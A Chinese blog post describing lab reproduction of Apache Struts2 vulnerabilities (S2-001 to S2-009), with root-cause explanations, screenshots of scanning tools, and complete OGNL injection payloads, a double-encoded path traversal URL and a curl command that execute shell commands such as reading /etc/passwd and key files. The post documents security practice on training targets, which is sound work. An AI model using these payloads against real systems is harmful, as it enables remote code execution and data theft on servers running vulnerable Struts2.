banner
soapffz

soapffz

github
steam
bilibili
douban

Struts2全版本漏洞利用复现(长期更新)

事情起因#

用靶场熟悉下Struts2的漏洞利用工具

注意:单纯的使用工具不能加深对漏洞的理解,熟悉漏洞原理才是重点

工具列举#

HatBoy大佬的Struts2-Scan,以扫描某S2-001靶场为例:

image

鬼哥struts2(CVE-2013-2251)漏洞检测工具 (90sec.org),同样以某S2-001靶场为例:

image

Lucifer1993写的struts-scanwindows下运行乱码,以某S2-004靶场为例:

image

K8团队的K8_Struts2_EXP,这里以某S2-005靶场为例:

image

K8团队的工具解压密码为k8gegek8teamK8team中的其中一个

天融信的工具,这里以某S2-005靶场为例:

image

lz520520大佬的工具railgun,这里以某 `` 靶场为例:

最常见到的Srtuts2 漏洞检查工具2018版 V2.0 by 安恒应急响应中心 20180824,这里以某 `` 靶场为例:

S2-001#

漏洞原因:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

靶场正常样子:

image

在 password 地方输入 %{1+1},点击登陆,发现报错返回解析成了 2,证明漏洞存在

获取 tomcat 执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

image

获取 Web 路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

image

执行命令:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

如果命令加参数:new java.lang.String[]{"cat","/etc/passwd"}

拿到flag

image

S2-004#

目录遍历漏洞

漏洞介绍:

Struts2 Dispatcher Logic by Design 允许为请求 URI 的 Web 应用程序类路径中的某些静态资源提供服务,请求 URI 的上下文相关路径以 “/struts/” 开头。filterDispatcher(在 2.0 中)和 defaultStaticContentLoader(在 2.1 中)存在安全漏洞,允许攻击者使用双编码 URL 和相对路径遍历目录结构并下载 “static” 内容文件夹之外的文件。
这说明存在文件遍历漏洞,相对路径遍历是../../../ 的方式,但需要双编码,所以需要将../ 两次 URL 编码为..%252f

靶场实操:

image

根据提示,keyshowcase.jsp这个页面中,通过目录遍历获得key

URL/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

image

S2-005#

远程代码执行漏洞,漏洞编号:CVE-2010-1870
影响版本: 2.0.0 - 2.1.8.1

原理 (参考吴翰清的《白帽子讲 Web 安全》)

s2-005 漏洞的起源源于 S2-003 (受影响版本:低于 Struts 2.0.12),struts2 会将 http 的每个参数名解析为 OGNL 语句执行 (可理解为 java 代码)。OGNL 表达式通过 #来访问 struts 的对象,struts 框架通过过滤 #字符防止安全问题,然而通过 unicode 编码 (\u0023) 或 8 进制 (\43) 即绕过了安全限制,对于 S2-003 漏洞,官方通过增加安全配置 (禁止静态方法调用和类方法执行等) 来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这 2 个选项打开,S2-003 的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成 Java 语句,如:user.address.city=Bishkek&user['favoriteDrink']=kumys会被转化成

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005 在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

S2-003 使用\u0023绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

靶场实操:

界面还做得挺好看:

image

无回显POC:

action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

大概可以理解为,(aaa)(bbb) 中 aaa 作为 OGNL 表达式字符串,bbb 作为该表达式的 root 对象,所以一般 aaa 位置如果需要执行代码,需要用引号包裹起来,而 bbb 位置可以直接放置 Java 语句。(aaa)(bbb)=true 实际上就是 aaa=true。不过确切怎么理解,还需要深入研究,有待优化

POC 放到 tomcat8 下会返回 400,研究了一下发现字符 \、" 不能直接放 path 里,需要 urlencode,编码以后再发送就好了。这个 POC 没回显。

我尝试多次后还是没搞定,有机会遇到再搞,这里就用现成的工具了

k8的命令执行:

image

S2-007#

漏洞类型:远程代码执行漏洞
漏洞原因:当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。也就是一般出现在表单处
影响版本: 2.0.0 - 2.2.3

靶场复现:

image

在年龄中输入非数字类型点击登陆

image

image

年龄框的 value 变成 11,证明漏洞存在,执行任意代码的 EXP:

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls ../').getInputStream())) + '

执行命令后查看不清楚可以ctrl+U查看网页源码,最终命令为cat ../../../key.txt得到key

image

S2-008#

漏洞类型:远程代码执行漏洞
影响版本:2.1.0 - 2.3.1
漏洞原理:

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。例如在 devMode 模式下直接添加参数?debug=command&expression=,会直接执行后面的 OGNL 表达式,因此可以直接执行命令(注意转义):

action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22[命令]%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

修改其中的命令便可得到结果文件,用记事本打开即可查看。

靶场复现:

直接cat ../../../key.txt查看 (注意每次执行命令后都需要清空缓存,建议每执行一条命令换一个隐私窗口):

image

S2-009#

漏洞类型:远程代码执行漏洞
影响版本:2.1.0 - 2.3.1.1
漏洞原理:

Struts2 对 s2-003 的修复方法是禁止 #号,于是 s2-005 通过使用编码 \u0023 或 \43 来绕过;于是 Struts2 对 s2-005 的修复方法是禁止 \ 等特殊符号,使用户不能提交反斜线。

但是,如果当前 action 中接受了某个参数 example,这个参数将进入 OGNL 的上下文。所以,我们可以将 OGNL 表达式放在 example 参数中,然后使用 /helloword.acton?example=&(example)('xxx')=1 的方法来执行它,从而绕过官方对 #、\ 等特殊字符的防御。

poc如下:

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

需要以POST方式提交

靶场复现:

image

查找到存在漏洞的界面为第 5 个:/ajax/example5.action,用HackBarPOST方式执行ls

image

不能成功执行,那就换burpsuite

image

尝试也无果,最后使用curl命令行工具直接提交并保存结果到文件:

curl -X POST "http://xxx.xxx.xxx.xxx:yyyyy/ajax/example5.action" -d "age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]" --output a.txt

image

ls命令修改为cat key.txt即可得到flag

image

总结#

暂无

参考文章:

本文完。(才怪)

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.